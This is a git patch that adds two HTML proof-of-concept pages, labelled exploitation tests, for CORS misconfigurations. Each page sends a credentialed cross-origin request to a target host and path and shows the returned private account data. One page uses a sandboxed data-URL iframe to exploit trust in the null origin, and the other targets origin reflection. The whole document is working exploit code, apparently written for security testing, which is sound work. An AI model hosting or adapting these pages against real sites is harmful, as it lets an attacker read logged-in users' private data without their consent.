From 65e0b3e4210fa2da331ad83dbdc01e917b35ce26 Mon Sep 17 00:00:00 2001
From: jensvoid <jens.a.mueller@rub.de>
Date: Fri, 7 Jul 2017 13:03:16 +0200
Subject: [PATCH] Added exploitation tests

---
 tests/nulltest-cors-poc.html | 33 +++++++++++++++++++++++++++++++++
 tests/origin-reflection.html | 28 ++++++++++++++++++++++++++++
 2 files changed, 61 insertions(+)
 create mode 100644 tests/nulltest-cors-poc.html
 create mode 100644 tests/origin-reflection.html
diff --git a/tests/nulltest-cors-poc.html b/tests/nulltest-cors-poc.html
new file mode 100644
index 0000000..9c4d819
--- /dev/null
+++ b/tests/nulltest-cors-poc.html
@@ -0,0 +1,33 @@
+<!DOCTYPE html>
+<html>
+<head><meta charset="UTF-8"></head>
+<body>
+<iframe sandbox='allow-scripts allow-forms'
+        style="width: 100%; height: 800px"
+        src='data:text/html, <!DOCTYPE html>
+<body>
+<input id="host" type="text" size="30" value="https://cors-misconfigured-website">
+<input id="path" type="text" size="50" value="/some-private-account-info">
+<button onclick="corstest()">Leak it!</button>
+<hr>
+<textarea id="corsleak_text" rows="20" style="width:99%" readonly></textarea>
+<hr>
+<code id="corsleak_html"></code>
+<script>
+  function corstest() {
+    document.getElementById("corsleak_text").value = "";
+    document.getElementById("corsleak_html").innerHTML = "";
+    var req = new XMLHttpRequest();
+    req.onload = reqListener;
+    req.open("GET", document.getElementById("host").value + document.getElementById("path").value);
+    req.withCredentials = true;
+    req.send();
+    function reqListener() {
+      document.getElementById("corsleak_text").value = this.responseText;
+      document.getElementById("corsleak_html").innerHTML = this.responseText;
+    }
+  }
+</script>
+'></iframe>
+</body>
+</html>
diff --git a/tests/origin-reflection.html b/tests/origin-reflection.html
new file mode 100644
index 0000000..93429cd
--- /dev/null
+++ b/tests/origin-reflection.html
@@ -0,0 +1,28 @@
+<!DOCTYPE html>
+<html>
+<head><meta charset="UTF-8"></head>
+<body>
+<input id="host" type="text" size="30" value="https://cors-misconfigured-website">
+<input id="path" type="text" size="50" value="/some-private-account-info">
+<button onclick="corstest()">Leak it!</button>
+<hr>
+<textarea id="corsleak_text" rows="20" style="width:99%" readonly></textarea>
+<hr>
+<code id="corsleak_html"></code>
+<script>
+  function corstest() {
+    document.getElementById('corsleak_text').value = "";
+    document.getElementById('corsleak_html').innerHTML = "";
+    var req = new XMLHttpRequest();
+    req.onload = reqListener;
+    req.open('GET', document.getElementById('host').value + document.getElementById('path').value);
+    req.withCredentials = true;
+    req.send();
+    function reqListener() {
+      document.getElementById('corsleak_text').value = this.responseText;
+      document.getElementById('corsleak_html').innerHTML = this.responseText;
+    }
+}
+</script>
+</body>
+</html>
